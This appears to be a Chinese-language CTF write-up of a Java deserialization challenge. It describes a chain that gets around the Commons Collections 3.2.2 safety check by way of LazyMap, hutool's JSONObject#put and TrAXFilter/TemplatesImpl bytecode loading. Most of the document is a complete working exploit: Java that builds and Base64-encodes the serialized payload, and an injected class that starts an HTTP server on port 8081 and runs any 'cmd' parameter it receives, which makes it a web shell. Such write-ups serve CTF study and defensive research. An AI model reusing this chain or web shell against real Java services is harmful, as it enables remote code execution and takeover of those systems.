传递一个bugstr
参数,后端会对其进行反序列化,若出现异常进行下面处理
Copy catch (Exception var8) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[]{String.class});
myexpect.setTypearg(new String[]{var8.toString()});
myexpect.setTargetclass(var8.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception var7) {
result = var7.toString();
}
}
Myexpect
类关键方法在getAnyexcept
,调用了一个类的构造方法
Copy public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
熟悉CC3链应该能马上反应过来,CC3中利用的类TrAXFilter
的构造方法中调用了TransformerImpl#newTransformer
,即TemplatesImpl
链动态加载字节码
题目的环境是Commons Collections 3.2.2
,该版本在一些危险的Transformer
实现类的readObject
前加上了FunctorUtils#checkUnsafeSerialization
来检测反序列化是否安全。
若没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true
,会抛出UnsupportedOperationException
异常。
回到上面的处理流程,若直接打CC链,抛出异常被catch,执行Myexpect#getAnyexcept
去实例化UnsupportedOperationException
类,无法利用。而且这里又把异常类的构造器参数类型限制为String.class
。一种思路是找到一个符合条件的可利用异常类,在反序列化过程中将其抛出。不好找遂放弃。
另一种思路是不走上面的异常处理(不进入catch
),在反序列化的时候就去调用Myexpect#getAnyexcept
。要调用一个类的getter
方法,但题目又没有fastjson
、rome
之类的依赖。
结合放出的hint
:cn.hutool.json.JSONObject#put
-> com.app.Myexpect#getAnyexcept
不难想到,既然fastjson
能调用getter
,这个hutool
工具类的JSONObject
应该也可以
cn.hutool.core.bean.copier.BeanToMapCopier#copy
负责将Bean的属性拷贝到Map中,通过反射调用Bean的getter
方法。
调用链如下,最终执行TrAXFilter
的构造方法,动态加载恶意字节码
cn.hutool.json.JSONObject
是Map
的子类,通过LazyMap去调用JSONObject#put
,剩下的就是CC5的那段链子了。
badAttributeValueExpException#readObject ->
TiedMapEntry#toString ->
TiedMapEntry#getValue ->
LazyMap#get ->
JSONObject#put
需要注意的是LazyMap#get
Copy public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
由于后面调用的getter的目标是这里的value,即factory.transform(key)
要返回Myexpect
因此factory
设置为ConstantTransformer
(这个Transformer
类没有重写readObject
,不会进行反序列化安全检测),初始化时传入Myexpect
。
题目环境貌似不能出网,利用hutool的HttpUtil
工具类起个Web服务来写马
完整EXP:
Copy import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(a.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "CC3");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[] { Templates.class });
myexpect.setTypearg(new Object[] { obj });
JSONObject entries = new JSONObject();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer(myexpect));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bad);
oos.close();
byte[] byteArray = baos.toByteArray();
String encodedString = Base64.getEncoder().encodeToString(byteArray);
System.out.println(encodedString);
}
}
a.java
Copy import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class a extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
cn.hutool.http.HttpUtil.createServer(8081).addAction("/", (request, response) -> {
String cmd = request.getParam("cmd");
String result = "";
if (cmd == null) {
response.write("welcome,plz give me cmd", cn.hutool.http.ContentType.TEXT_PLAIN.toString());
}
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
StringBuilder res = new StringBuilder();
while ((line = reader.readLine()) != null) {
res.append(line);
}
result = res.toString();
} catch (Exception var8) {
result = "wrong";
}
response.write(result, cn.hutool.http.ContentType.TEXT_PLAIN.toString());
}).start();
}
}